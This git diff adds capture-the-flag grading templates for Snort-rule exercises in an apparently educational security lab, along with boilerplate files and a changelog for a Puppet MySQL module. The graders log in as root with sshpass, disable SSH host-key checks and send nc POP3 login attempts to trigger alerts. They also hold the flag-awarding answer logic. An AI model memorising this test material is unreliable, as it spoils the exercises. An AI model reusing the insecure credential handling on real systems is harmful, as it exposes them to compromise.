= $flags.pop +%> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule. + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert4 %>.*Classification.*User.*<%= $rand_alert4 %> + :-D Well done! ALL THREE FLAGS!: <%= $flag1 %>, <%= $flag2 %>, <%= $flag3 %>. + + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + 8-) Well done! Two flags: <%= $flag1 %>, <%= $flag2 %>. Could be further improved with a classification. + + + + ^--0.*<%= $rand_alert4 %> + :) Well done! <%= $flag1 %>. The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive? More flags are to be had from a better rule ;-) + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb new file mode 100644 index 000000000..ba834c997 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb @@ -0,0 +1,34 @@ + +<% $rand_alert5 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; curl <%= $web_server_ip %> >/dev/null; curl <%= $web_server_ip %>/contact.html >/dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects access to http://<%= $web_server_ip %> but NOT http://<%= $web_server_ip %>/contact.html. The alert must include the message "<%= $rand_alert5 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to test your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + ^--00.*<%= $rand_alert5 %>.*<%= $rand_alert5 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + + ^--00.*<%= $rand_alert5 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml new file mode 100644 index 000000000..7a27d173f --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml @@ -0,0 +1,7 @@ +fixtures: + repositories: + "stdlib": "https://github.com/puppetlabs/puppetlabs-stdlib" + "staging": "https://github.com/voxpupuli/puppet-staging" + "translate": "https://github.com/puppetlabs/puppetlabs-translate" + symlinks: + "mysql": "#{source_dir}" diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json new file mode 100644 index 000000000..7df232989 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json @@ -0,0 +1,9 @@ +{ + "excludes": [ + "**/contrib/**", + "**/examples/**", + "**/tests/**", + "**/spec/**", + "**/pkg/**" + ] +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes new file mode 100644 index 000000000..02d4646b9 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes @@ -0,0 +1,5 @@ +#This file is generated by ModuleSync, do not edit. +*.rb eol=lf +*.erb eol=lf +*.pp eol=lf +*.sh eol=lf diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore new file mode 100644 index 000000000..f86acb60c --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore @@ -0,0 +1,23 @@ +.*.sw[op] +.metadata +.yardoc +.yardwarns +*.iml +/.bundle/ +/.idea/ +/.vagrant/ +/coverage/ +/bin/ +/doc/ +/Gemfile.local +/Gemfile.lock +/junit/ +/log/ +/log/ +/pkg/ +/spec/fixtures/manifests/ +/spec/fixtures/modules/ +/tmp/ +/vendor/ +/convert_report.txt +.DS_Store diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml new file mode 100644 index 000000000..767f9cd2f --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml @@ -0,0 +1,31 @@ +--- +default_set: 'centos-64-x64' +sets: + 'centos-59-x64': + nodes: + "main.foo.vm": + prefab: 'centos-59-x64' + 'centos-64-x64': + nodes: + "main.foo.vm": + prefab: 'centos-64-x64' + 'fedora-18-x64': + nodes: + "main.foo.vm": + prefab: 'fedora-18-x64' + 'debian-607-x64': + nodes: + "main.foo.vm": + prefab: 'debian-607-x64' + 'debian-70rc1-x64': + nodes: + "main.foo.vm": + prefab: 'debian-70rc1-x64' + 'ubuntu-server-10044-x64': + nodes: + "main.foo.vm": + prefab: 'ubuntu-server-10044-x64' + 'ubuntu-server-12042-x64': + nodes: + "main.foo.vm": + prefab: 'ubuntu-server-12042-x64' diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.project b/modules/services/unix/database/mysql_stretch_compatible/mysql/.project new file mode 100644 index 000000000..5bf079076 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.project @@ -0,0 +1,23 @@ + + + puppetlabs-mysql + + + + + + com.puppetlabs.geppetto.pp.dsl.ui.modulefileBuilder + + + + + org.eclipse.xtext.ui.shared.xtextBuilder + + + + + + com.puppetlabs.geppetto.pp.dsl.ui.puppetNature + org.eclipse.xtext.ui.shared.xtextNature + + diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec new file mode 100644 index 000000000..16f9cdb01 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec @@ -0,0 +1,2 @@ +--color +--format documentation diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml new file mode 100644 index 000000000..bd272d16a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml @@ -0,0 +1,108 @@ +--- +require: +- rubocop-i18n +- rubocop-rspec +AllCops: + DisplayCopNames: true + TargetRubyVersion: '2.1' + Include: + - "./**/*.rb" + Exclude: + - bin/* + - ".vendor/**/*" + - Gemfile + - Rakefile + - pkg/**/* + - spec/fixtures/**/* + - vendor/**/* +Metrics/LineLength: + Description: People have wide screens, use them. + Max: 200 +RSpec/BeforeAfterAll: + Description: Beware of using after(:all) as it may cause state to leak between tests. + A necessary evil in acceptance testing. + Exclude: + - spec/acceptance/**/*.rb +RSpec/HookArgument: + Description: Prefer explicit :each argument, matching existing module's style + EnforcedStyle: each +Style/BlockDelimiters: + Description: Prefer braces for chaining. Mostly an aesthetical choice. Better to + be consistent then. + EnforcedStyle: braces_for_chaining +Style/ClassAndModuleChildren: + Description: Compact style reduces the required amount of indentation. + EnforcedStyle: compact +Style/EmptyElse: + Description: Enforce against empty else clauses, but allow `nil` for clarity. + EnforcedStyle: empty +Style/FormatString: + Description: Following the main puppet project's style, prefer the % format format. + EnforcedStyle: percent +Style/FormatStringToken: + Description: Following the main puppet project's style, prefer the simpler template + tokens over annotated ones. + EnforcedStyle: template +Style/Lambda: + Description: Prefer the keyword for easier discoverability. + EnforcedStyle: literal +Style/RegexpLiteral: + Description: Community preference. See https://github.com/voxpupuli/modulesync_config/issues/168 + EnforcedStyle: percent_r +Style/TernaryParentheses: + Description: Checks for use of parentheses around ternary conditions. Enforce parentheses + on complex expressions for better readability, but seriously consider breaking + it up. + EnforcedStyle: require_parentheses_when_complex +Style/TrailingCommaInArguments: + Description: Prefer always trailing comma on multiline argument lists. This makes + diffs, and re-ordering nicer. + EnforcedStyleForMultiline: comma +Style/TrailingCommaInLiteral: + Description: Prefer always trailing comma on multiline literals. This makes diffs, + and re-ordering nicer. + EnforcedStyleForMultiline: comma +Style/SymbolArray: + Description: Using percent style obscures symbolic intent of array's contents. + EnforcedStyle: brackets +inherit_from: ".rubocop_todo.yml" +Style/CollectionMethods: + Enabled: true +Style/MethodCalledOnDoEndBlock: + Enabled: true +Style/StringMethods: + Enabled: true +Layout/EndOfLine: + Enabled: false +Metrics/AbcSize: + Enabled: false +Metrics/BlockLength: + Enabled: false +Metrics/ClassLength: + Enabled: false +Metrics/CyclomaticComplexity: + Enabled: false +Metrics/MethodLength: + Enabled: false +Metrics/ModuleLength: + Enabled: false +Metrics/ParameterLists: + Enabled: false +Metrics/PerceivedComplexity: + Enabled: false +RSpec/DescribeClass: + Enabled: false +RSpec/ExampleLength: + Enabled: false +RSpec/MessageExpectation: + Enabled: false +RSpec/MultipleExpectations: + Enabled: false +RSpec/NestedGroups: + Enabled: false +Style/AsciiComments: + Enabled: false +Style/IfUnlessModifier: + Enabled: false +Style/SymbolProc: + Enabled: false diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml new file mode 100644 index 000000000..57dd86c08 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml @@ -0,0 +1,2 @@ +GetText/DecorateString: + Enabled: false diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml new file mode 100644 index 000000000..576ce6e83 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml @@ -0,0 +1,69 @@ +--- +appveyor.yml: + environment: + PUPPET_GEM_VERSION: "~> 4.0" + matrix: + - RUBY_VERSION: 24-x64 + CHECK: "syntax lint" + - RUBY_VERSION: 24-x64 + CHECK: metadata_lint + - RUBY_VERSION: 24-x64 + CHECK: rubocop + +.travis.yml: + bundle_args: --without system_tests + docker_sets: + - set: docker/centos-7 + options: + - set: docker/ubuntu-14.04 + options: + docker_defaults: + bundler_args: "" + secure: "" + branches: + - release + extras: + - rvm: 2.1.9 + script: "\"bundle exec rake release_checks\"" + +Gemfile: + required: + ':system_tests': + - gem: 'puppet-module-posix-system-r#{minor_version}' + platforms: ruby + - gem: 'puppet-module-win-system-r#{minor_version}' + platforms: + - mswin + - mingw + - x64_mingw + - gem: beaker + version: '~> 3.13' + from_env: BEAKER_VERSION + - gem: beaker-abs + from_env: BEAKER_ABS_VERSION + version: '~> 0.1' + - gem: beaker-pe + - gem: beaker-hostgenerator + from_env: BEAKER_HOSTGENERATOR_VERSION + - gem: beaker-rspec + from_env: BEAKER_RSPEC_VERSION + ':development': + - gem: puppet-blacksmith + version: '~> 3.4' + - gem: puppet-lint-i18n + +Rakefile: + requires: + - puppet_blacksmith/rake_tasks + - puppet_pot_generator/rake_tasks + +spec/spec_helper.rb: + spec_overrides: + - "require 'spec_helper_local'" + +.rubocop.yml: + default_configs: + inherit_from: .rubocop_todo.yml + require: + - rubocop-i18n + - rubocop-rspec diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml new file mode 100644 index 000000000..1597cfb05 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml @@ -0,0 +1,64 @@ +--- +sudo: false +dist: trusty +language: ruby +cache: bundler +before_install: + - bundle -v + - rm Gemfile.lock || true + - gem update --system + - gem --version + - bundle -v +script: + - 'bundle exec rake $CHECK' +bundler_args: --without system_tests +rvm: + - 2.4.1 + - 2.1.9 +env: + - PUPPET_GEM_VERSION="~> 4.0" CHECK=spec + - PUPPET_GEM_VERSION="~> 5.0" CHECK=spec +matrix: + fast_finish: true + include: + - + bundler_args: + dist: trusty + env: PUPPET_INSTALL_TYPE=agent BEAKER_debug=true BEAKER_set=docker/centos-7 + rvm: 2.4.1 + script: bundle exec rake beaker + services: docker + sudo: required + - + bundler_args: + dist: trusty + env: PUPPET_INSTALL_TYPE=agent BEAKER_debug=true BEAKER_set=docker/ubuntu-14.04 + rvm: 2.4.1 + script: bundle exec rake beaker + services: docker + sudo: required + - + env: CHECK=rubocop + - + env: CHECK="syntax lint" + - + env: CHECK=metadata_lint + - + rvm: 2.1.9 + script: "bundle exec rake release_checks" +branches: + only: + - master + - /^v\d/ + - release +notifications: + email: false +deploy: + provider: puppetforge + user: puppet + password: + secure: "" + on: + tags: true + all_branches: true + condition: "$DEPLOY_TO_FORGE = yes" diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md new file mode 100644 index 000000000..5e9f85f23 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md @@ -0,0 +1,885 @@ +# Change log + +All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org). + +## Supported Release [5.3.0] +### Summary +This release uses the PDK convert functionality which in return makes the module PDK compliant. It also includes a roll up of maintenance changes, a new task and support for `GRANTS FUNCTION`. + +### Added +- Add support for `GRANTS FUNCTION` ([MODULES-2075](https://tickets.puppet.com/browse/MODULES-2075)). +- Add Export database task. +- PDK Convert mysql ([MODULES-6454](https://tickets.puppet.com/browse/MODULES-6454)). + +### Changed +- Allow authentication plugin to be changed. +- Update mysql_user provider. +- Plugins don't exist before 5.5; password field name changed +- Fix helpful rubocops and disable hurtful cops. +- Addressing puppet-lint and rubocop errors +- Remove update bundler and add ignore .DS_Store +- Skip rubocop warning in task. +- Fix a typo in a classname in the changelog. + +## Supported Release [5.2.1] +### Summary +This release fixes CVE-2018-6508 which is a potential arbitrary code execution via tasks. + +### Fixed +- Fix export and mysql tasks for arbitrary remote code + +## Supported Release [5.2.0] + +### Added +- Compatibility for puppet-staging 3.0.0 + +### Fixed +- Centralize all mysql command calls for providers +- Add paths to `mysql_datadir` provider for RedHat Software Collections + +## Supported Release [5.1.0] +### Summary +This release adds Tasks to the Mysql module. + +#### Added +- Adds the execute sql task. + +## Supported Release [5.0.0] +### Summary +This is a major release that adds support for string translation. Currently the only supported language besides +English is Japanese. + +#### Added +- Several gem dependencies required for translation. +- Wrapping of strings that require translation. Strings in ruby code are now wrapped with `_()` and strings in puppet code with `translate()`. +- Debian 9 support + +#### Changed +- The default php_package_name for Debian and Ubuntu to `php-mysql` + +## Supported Release 4.0.1 +### Summary +This is a small bugfix release that makes `mysql_install_db` optional and fixes some regular expression issues. + +#### Bugfixes +- ([MODULES-5528](https://tickets.puppet.com/browse/MODULES-5528)) Fixes the `mysql_install_db` command so that it is optional +- ([MODULES-5602](https://tickets.puppet.com/browse/MODULES-5602)) Removes superfluous backslashes in some regular expressions that were causing instability + +## Supported Release 4.0.0 +### Summary +This release sees the enablement of rubocop, also an update to the lib directory with rubocop fixes and several other changes and fixes. Also a bump to the Puppet version compatibility and several Puppet language updates. + +#### Added +- Updated README.md with example how to install MySQL Community Server 5.6 on Centos 7.3 +- Enabled Rubocop and addition of Rubocop fixes for /lib directory. + +#### Removed +- Dropped legacy tests for db.pp. + +#### Changed +- Replaced validate function calls with datatypes in db.pp. +- Bumped recommended puppet version to between 4.7.0 and 6.0.0. +- Conditionalize name validation in mysql_grant type. ([MODULES-4604](https://tickets.puppet.com/browse/MODULES-4604)) + +#### Fixed +- Removal of invalid parameter provider on Mysql_user[user@localhost] in mysql::db ([MODULES-4115](https://tickets.puppet.com/browse/MODULES-4115)) +- Fixed server_service_name for Debian/stretch. +- Spec fixes for Puppet 5. +- Test update for fix:create procedure, then grant ([MODULES-5390](https://tickets.puppet.com/browse/MODULES-5390)) +- Fixing empty user/password issue for xtrabackup. Now defaults as undef instead of ''. +- Remove unsupported Ubuntu versions ([MODULES-5501](https://tickets.puppet.com/browse/MODULES-5501)) + +## Supported Release 3.11.0 +### Summary +This release includes README and metadata translations to Japanese, as well as some enhancements and bugfixes. + +#### Added +- New flag for successful backups +- Solaris support improvements +- New parameter `optional_args` for extra innobackupex options +- Specify environment variables (e.g. https_proxy) for MySQLTuner download. +- Check to only install bzip2 if `$backupcompress` is `true` +- Debian 9 compatibility +- Japanese README + +#### Fixed +- Syntax errors +- Bug where error logs were being created before the datadir was initialized (MODULES-4743) + +## Supported Release 3.10.0 +### Summary +This release includes new features for setting TLS options on a mysql user, a new parameter to allow specifying tool to import sql files, as well as various bugfixes. + +#### Features +- (MODULES-3879) Adds `import_cat_cmd` parameter to specify the command to read sql files +- Adds support for setting `tls_options` in `mysql_user` + +#### Bugfixes +- (MODULES-3557) Adds Ubuntu 16.04 package names for language bindings +- (MODULES-3907) Adds MySQL/Percona 5.7 initialize on fresh deploy + +## Supported Release 3.9.0 +### Summary +This release adds Percona 5.7 support and compatibility with Ubuntu 16.04, in addition to various bugfixes. + +#### Features +- (MODULES-3441) Adds the `mysqld_version` fact +- (MODULES-3513) Adds a new backup dump parameter `maxallowedpacket` +- Adds new parameter `xtrabackup_package_name` to `mysql::backup::xtrabackup` class +- Adds ability to revoke GRANT privilege + +#### Bugfixes +- Fixes a bug where `mysql_user` fails if facter cannot retrieve fqdn. +- Fix global parameter usage in backup script +- Adds support for `puppet-staging` version `2.0.0` +- (MODULES-3601) Moves binary logging configuration to take place after package install +- (MODULES-3711) Add limit to mysql server ID generated value +- (MODULES-3698) Fixes defaults for SLES12 +- Updates user name length restrictions for MySQL version 5.7.8 and above. +- Fixes a bug where error log is not writable by owner + +## Supported Release 3.8.0 +### Summary +This release adds Percona 5.7 support and compatibility with Ubuntu 16.04, in addition to various bugfixes. + +#### Features +- Adds support for Percona 5.7 +- Adds support for Ubuntu 16.04 (Xenial) + +#### Known Limitations +- The mysqlbackup.sh script will not work on MySQL 5.7.0 and up. + +#### Bugfixes +- Use mysql_install_db only with uniq defaults-extra-file +- Updates mysqlbackup.sh to ensure backup directory exist +- Loosen MariaDB recognition to fix it on Debian 8 +- Allow mysql::backup::mysqldump to access root_group in tests +- Fixed problem with ignoring parameters from global configs +- Fixes ordering issue that initialized mysqld before config is set +- (MODULES-1256) Fix parameters on OpenSUSE 12 +- Fixes install errors on Debian-based OS by configuring the base of includedir +- Configure the configfile location for mariadb +- Default mysqld_type return value should be 'mysql' if another type is not detected +- Make sure that bzip2 is installed before setting up the cron tab job using mysqlbackup.sh +- Fixes path issue on FreeBSD +- Check that /var/lib/mysql actually contains files +- Removes mysql regex when checking type +- (MODULES-2111) Add the system database to user related actions +- Updates default group for logfiles on Debian-based OS to 'adm' +- Fixes an issue with Amazon linux major release 4 installation +- Fixes 'mysql_install_db' script support on Gentoo +- Removes erroneous anchors to mysql::client from mysql::db +- Adds path to be able to find MySQL 5.5 installation on CentOS + +## Supported Release 3.7.0 +### Summary + +A large release with several new features. Also includes a considerable amount of bugfixes, many around compatibility and improvements to current functionality. + +#### Features + +- Now uses mariadb in OpenSuSE >= 13.1. +- Switch to rspec-puppet-facts. +- Additional function to check if table exists before grant. +- Add ability to input password hash directly. +- Now checking major release instead of specific release. +- Debian 8 support. + +#### Bugfixes + +- Minor doc update. +- Fixes improper use of function `warn` in backup manifest of server. +- Fixes to Compatibility with PE 3.3. +- Fixes `when not managing config file` in `mysql_server_spec`. +- Improved user validation and munging. +- Fixes fetching the mysql_user password for MySQL >=5.7.6. +- Fixes unique server_id within my.cnf, the issue were the entire mac address was not being read in to generate the id. +- Corrects the daemon_dev_package_name for mariadb on redhat. +- Fix version compare to properly suppress show_diff for root password. +- Fixes to ensure compatibility with future parser. +- Solaris removed from PE in metadata as its not supported. +- Use MYSQL_PWD to avoid mysqldump warnings. +- Use temp cnf file instead of env variable which creates acceptance test failures. +- No longer hash passwords that are already hashed. +- Fix Gemfile to work with ruby 1.8.7. +- Fixed MySQL 5.7.6++ compatibility. +- Fixing error when disabling service management and the service does not exist. +- Ubuntu vivid should use systemd not upstart. +- Fixed new mysql_datadir provider on CentOS for MySQl 5.7.6 compatibility. +- Ensure if service restart to wait till mysql is up. +- Move all dependencies to not have them in case of service unmanaged. +- Re-Added the ability to set a empty string as option parameter. +- Fixes edge-case with dropping pre-existing users with grants. +- Fix logic for choosing rspec version. +- Refactored main acceptance suite. +- Skip idempotency tests on test cells that do have PUP-5016 unfixed. +- Fix tmpdir to be shared across examples. +- Update to current msync configs [006831f]. +- Fix mysql_grant with MySQL ANSI_QUOTES mode. +- Generate .my.cnf for all sections. + +## Supported Release 3.6.2 +### Summary + +Small release for support of newer PE versions. This increments the version of PE in the metadata.json file. + +## 2015-09-22 - Supported Release 3.6.1 +### Summary +This is a security and bugfix release that fixes incorrect username truncation in the munge for the mysql_user type, incorrect function used in `mysql::server::backup` and fixes compatibility issues with PE 3.3.x. + +#### Bugfixes +- Loosen the regex in mysql_user munging so the username is not unintentionally truncated. +- Use `warning()` not `warn()` +- Metadata had inadvertantly dropped 3.3.x support +- Some 3.3.x compatibility issues in `mysqltuner` were corrected + +## 2015-08-10 - Supported Release 3.6.0 +### Summary +This release adds the ability to use mysql::db and `mysql_*` types against unmanaged or external mysql instances. + +#### Features +- Add ability to use mysql::db WITHOUT mysql::server (ie, externally) +- Add prescript attribute to mysql::server::backup for xtrabackup +- Add postscript ability to xtrabackup provider. + +#### Bugfixes +- Fix default root passwords blocking puppet on mysql 5.8 +- Fix service dependency when package_manage is false +- Fix selinux permissions on my.cnf + +## 2015-07-23 - Supported Release 3.5.0 +### Summary +A small release to add explicit support to newer Puppet versions and accumulated patches. + +#### Features/Improvements +- Start running tests against puppet 4 +- Support longer usernames on newer MariaDB versions +- Add parameters for Solaris 11 and 12 + +#### Bugfixes +- Fix references to the mysql-server package +- mysql_server_id doesn't throw and error on machines without macaddress + +## 2015-05-19 - Supported Release 3.4.0 +### Summary +This release includes the addition of extra facts, OpenBSD compatibility, and a number of other features, improvements and bug fixes. + +#### Features/Improvements +- Added server_id fact which includes mac address for better uniqueness +- Added OpenBSD compatibility, only for 'OpenBSD -current' (due to the recent switch to mariadb) +- Added a $mysql_group parameter, and use that instead of the $root_group parameter to define the group membership of the mysql error log file. +- Updated tests for rspec-puppet 2 and future parser +- Further acceptance testing improvements +- MODULES-1928 - allow log-error to be undef +- Split package installation and database install +- README wording improvements +- Added options for including/excluding triggers and routines +- Made the 'TRIGGER' privilege of mysqldump backups depend on whether or not we are actually backing up triggers +- Cleaned up the privilege assignment in the mysqldump backup script +- Add a fact for capturing the mysql version installed + +#### Bugfixes +- mysql backup: fix regression in mysql_user call +- Set service_ensure to undef, in the case of an unmanaged service +- README Typos fixed +- Bugfix on Xtrabackup crons +- Fixed a permission problem that was preventing triggers from being backed up +- MODULES-1981: Revoke and grant difference of old and new privileges +- Fix an issue were we assume triggers work +- Change default for mysql::server::backup to ignore_triggers = false + +#### Deprecations +mysql::server::old_root_password property + +## 2015-03-03 - Supported Release 3.3.0 +### Summary +This release includes major README updates, the addition of backup providers, and a fix for managing the log-bin directory. + +#### Features +- Add package_manage parameters to `mysql::server` and `mysql::client` (MODULES-1143) +- README improvements +- Add `mysqldump`, `mysqlbackup`, and `xtrabackup` backup providers. + +#### Bugfixes +- log-error overrides were not being properly used (MODULES-1804) +- check for full path for log-bin to stop puppet from managing file '.' + +## 2015-02-09 - Supported Release 3.2.0 +### Summary +This release includes several new features and bugfixes, including support for various plugins, making the output from mysql_password more consistent when input is empty and improved username validation. + +#### Features +- Add type and provider to manage plugins +- Add support for authentication plugins +- Add support for mysql_install_db on freebsd +- Add `create_root_user` and `create_root_my_cnf` parameters to `mysql::server` + +#### Bugfixes +- Remove dependency on stdlib >= 4.1.0 (MODULES-1759) +- Make grant autorequire user +- Remove invalid parameter 'provider' from mysql_user instance (MODULES-1731) +- Return empty string for empty input in mysql_password +- Fix `mysql::account_security` when fqdn==localhost +- Update username validation (MODULES-1520) +- Future parser fix in params.pp +- Fix package name for debian 8 +- Don't start the service until the server package is installed and the config file is in place +- Test fixes +- Lint fixes + +## 2014-12-16 - Supported Release 3.1.0 +### Summary + +This release includes several new features, including SLES12 support, and a number of bug fixes. + +#### Notes + +`mysql::server::mysqltuner` has been refactored to fetch the mysqltuner script from github by default. If you are running on a non-network-connected system, you will need to download that file and have it available to your node at a path specified by the `source` parameter to the `mysqltuner` class. + +#### Features +- Add support for install_options for all package resources (MODULES-1484) +- Add log-bin directory creation +- Allow mysql::db to import multiple files (MODULES-1338) +- SLES12 support +- Improved identifier quoting detections +- Reworked `mysql::server::mysqltuner` so that we are no longer packaging the script as it is licensed under the GPL. + +#### Bugfixes +- Fix regression in username validation +- Proper containment for mysql::client in mysql::db +- Support quoted usernames of length 15 and 16 chars + +## 2014-11-11 - Supported Release 3.0.0 +### Summary + +Added several new features including MariaDB support and future parser + +#### Backwards-incompatible Changes +* Remove the deprecated `database`, `database_user`, and `database_grant` resources. The correct resources to use are `mysql`, `mysql_user`, and `mysql_grant` respectively. + +#### Features +* Add MariaDB Support +* The mysqltuner perl script has been updated to 1.3.0 based on work at http://github.com/major/MySQLTuner-perl +* Add future parse support, fixed issues with undef to empty string +* Pass the backup credentials to 'SHOW DATABASES' +* Ability to specify the Includedir for `mysql::server` +* `mysql::db` now has an import\_timeout feature that defaults to 300 +* The `mysql` class has been removed +* `mysql::server` now takes an `override_options` hash that will affect the installation +* Ability to install both dev and client dev + +#### BugFix +* `mysql::server::backup` now passes `ensure` param to the nested `mysql_grant` +* `mysql::server::service` now properly requires the presence of the `log_error` file +* `mysql::config` now occurs before `mysql::server::install_db` correctly + +## 2014-07-15 - Supported Release 2.3.1 +### Summary + +This release merely updates metadata.json so the module can be uninstalled and +upgraded via the puppet module command. + +## 2014-05-14 - Supported Release 2.3.0 + +This release primarily adds support for RHEL7 and Ubuntu 14.04 but it +also adds a couple of new parameters to allow for further customization, +as well as ensuring backups can backup stored procedures properly. + +#### Features +Added `execpath` to allow a custom executable path for non-standard mysql installations. +Added `dbname` to mysql::db and use ensure_resource to create the resource. +Added support for RHEL7 and Fedora Rawhide. +Added support for Ubuntu 14.04. +Create a warning for if you disable SSL. +Ensure the error logfile is owned by MySQL. +Disable ssl on FreeBSD. +Add PROCESS privilege for backups. + +#### Bugfixes + +#### Known Bugs +* No known bugs + +## 2014-03-04 - Supported Release 2.2.3 +### Summary + +This is a supported release. This release removes a testing symlink that can +cause trouble on systems where /var is on a seperate filesystem from the +modulepath. + +#### Features +#### Bugfixes +#### Known Bugs +* No known bugs + +## 2014-03-04 - Supported Release 2.2.2 +### Summary +This is a supported release. Mostly comprised of enhanced testing, plus a +bugfix for Suse. + +#### Bugfixes +- PHP bindings on Suse +- Test fixes + +#### Known Bugs +* No known bugs + +## 2014-02-19 - Version 2.2.1 + +### Summary + +Minor release that repairs mysql_database{} so that it sees the correct +collation settings (it was only checking the global mysql ones, not the +actual database and constantly setting it over and over since January 22nd). + +Also fixes a bunch of tests on various platforms. + + +## 2014-02-13 - Version 2.2.0 + +### Summary + +#### Features +- Add `backupdirmode`, `backupdirowner`, `backupdirgroup` to + mysql::server::backup to allow customizing the mysqlbackupdir. +- Support multiple options of the same name, allowing you to + do 'replicate-do-db' => ['base1', 'base2', 'base3'] in order to get three + lines of replicate-do-db = base1, replicate-do-db = base2 etc. + +#### Bugfixes +- Fix `restart` so it actually stops mysql restarting if set to false. +- DRY out the defaults_file functionality in the providers. +- mysql_grant fixed to work with root@localhost/@. +- mysql_grant fixed for WITH MAX_QUERIES_PER_HOUR +- mysql_grant fixed so revoking all privileges accounts for GRANT OPTION +- mysql_grant fixed to remove duplicate privileges. +- mysql_grant fixed to handle PROCEDURES when removing privileges. +- mysql_database won't try to create existing databases, breaking replication. +- bind_address renamed bind-address in 'mysqld' options. +- key_buffer renamed to key_buffer_size. +- log_error renamed to log-error. +- pid_file renamed to pid-file. +- Ensure mysql::server::root_password runs before mysql::server::backup +- Fix options_override -> override_options in the README. +- Extensively rewrite the README to be accurate and awesome. +- Move to requiring stdlib 3.2.0, shipped in PE3.0 +- Add many new tests. + + +## 2013-11-13 - Version 2.1.0 + +### Summary + +The most important changes in 2.1.0 are improvements to the my.cnf creation, +as well as providers. Setting options to = true strips them to be just the +key name itself, which is required for some options. + +The provider updates fix a number of bugs, from lowercase privileges to +deprecation warnings. + 